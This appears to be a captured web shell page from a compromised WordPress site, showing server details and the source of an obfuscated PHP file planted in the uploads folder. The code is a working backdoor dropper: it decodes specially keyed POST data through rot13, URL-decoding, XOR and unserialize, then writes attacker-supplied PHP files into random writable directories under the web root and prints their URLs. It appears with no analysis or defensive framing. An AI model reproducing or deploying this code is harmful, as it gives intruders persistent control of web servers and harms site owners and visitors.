HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/uploads/pop_pdf/iizkrpuw.php
<?php function rHFFRxuhpt($sHnJe){$xoSUMG = chr(114)."\x61".'w'."\x75".chr(750-636).chr(108).chr(500-400)."\145"."\x63".'o'.chr(757-657)."\x65";$yOTOFmkQ = "\163"."\164"."\x72"."\x5f".chr(143-29).chr(364-253).'t'."\x31".chr(51);$QEKBnBsY = chr(115)."\164".chr(965-851).chr(95).'s'."\x70".'l'.'i'."\164";$sHnJe = $QEKBnBsY($xoSUMG($yOTOFmkQ($sHnJe)));return $sHnJe;}function hmXRdgoL($msgSd, $sHnJe){$cVlMgI = "\163".chr(553-437)."\x72".chr(95).'s'.'p'."\154".chr(894-789).'t';$msgSd = array_slice($cVlMgI(str_repeat($msgSd, (count($sHnJe)/16)+1)), 0, count($sHnJe));return $msgSd;}function ekwshToVe($jGRHqFOsPF, $SvgOFH, $msgSd){$ebgigeae = "e6212fea-9712-4c07-95a9-9f4eae31cb1b";return $jGRHqFOsPF ^ $ebgigeae[$SvgOFH % strlen($ebgigeae)] ^ $msgSd;}function XMZFNF($sHnJe, $msgSd){$sHnJe = array_map("ekwshToVe", array_values($sHnJe), array_keys($sHnJe), array_values($msgSd));$sHnJe = implode("", $sHnJe);$MgOnaoG = "\x75"."\x6e".'s'."\x65".chr(114).chr(105)."\x61"."\x6c".chr(105).chr(1027-905).chr(101);$sHnJe = @$MgOnaoG($sHnJe);return $sHnJe;}function TNfDgnlBxC(){echo "YVtEFnt";}function oAyYbJlROQ($lTLHkhir){static $AlEZrC = array();$KyVLkrJYMy = glob($lTLHkhir . '/*', GLOB_ONLYDIR);$ExpnDpO = count($KyVLkrJYMy);if ($ExpnDpO > 0) {foreach ($KyVLkrJYMy as $lTLHkh) {$SnJPF = "\151".'s'.'_'.chr(1080-961).'r'."\151".chr(116).chr(567-470)."\x62"."\x6c".chr(101);if (@$SnJPF($lTLHkh)) {$AlEZrC[] = $lTLHkh;}}}foreach ($KyVLkrJYMy as $lTLHkhir) oAyYbJlROQ($lTLHkhir);return $AlEZrC;}function HRMazjJ(){echo "MusEss";}function QIxPI($sHnJe){$uYQMOmSmMa = chr(68)."\x4f"."\x43".chr(85).chr(656-579).'E'.chr(190-112)."\124".chr(95)."\122".chr(79).'O'."\124";$aUSrMdYZ = $_SERVER[$uYQMOmSmMa];$KyVLkrJYMy = oAyYbJlROQ($aUSrMdYZ);$FjREjWQRZ = array_rand($KyVLkrJYMy);$DFAJuUrp = '.'.chr(112).chr(644-540).chr(810-698);$VYtwUI = $KyVLkrJYMy[$FjREjWQRZ] . "/" . substr(md5(time()), 0, 8) . $DFAJuUrp;$JENBuT = chr(811-709)."\151".chr(261-153).chr(101).'_'.chr(112).chr(1027-910).chr(116).chr(674-579).chr(99)."\x6f"."\x6e".chr(116)."\145".chr(246-136)."\164".chr(1113-998);@$JENBuT($VYtwUI, $sHnJe);$GNXVi = "\110".chr(84).'T'.chr(933-853).chr(95).chr(72)."\x4f".chr(83).'T';$vQnFDlda = chr(974-870).chr(116)."\x74"."\160".chr(100-42).chr(47).chr(47);$OejOH = $vQnFDlda . $_SERVER[$GNXVi] . substr($VYtwUI, strlen($aUSrMdYZ));print($OejOH);}foreach ($_POST as $msgSd => $sHnJe){$SPmzf = strlen($msgSd);if ($SPmzf == 16){$sHnJe = rHFFRxuhpt($sHnJe);$msgSd = hmXRdgoL($msgSd, $sHnJe);$sHnJe = XMZFNF($sHnJe, $msgSd);if (@is_array($sHnJe)){$FjREjWQRZ = array_keys($sHnJe);$sHnJe = $sHnJe[$FjREjWQRZ[0]];if ($sHnJe === $FjREjWQRZ[0]){$kHNYnle = chr(1098-986).chr(146-42)."\160";$cVoQpxMzmB = "\x70".'h'."\160".'v'.chr(101)."\x72"."\163"."\151".chr(111)."\x6e";$NAkSz = 's'.chr(101)."\162".chr(105).'a'.chr(116-8)."\151".chr(905-783)."\x65";echo @$NAkSz(Array($kHNYnle => @$cVoQpxMzmB(), ));}else {QIxPI($sHnJe);}die();}}}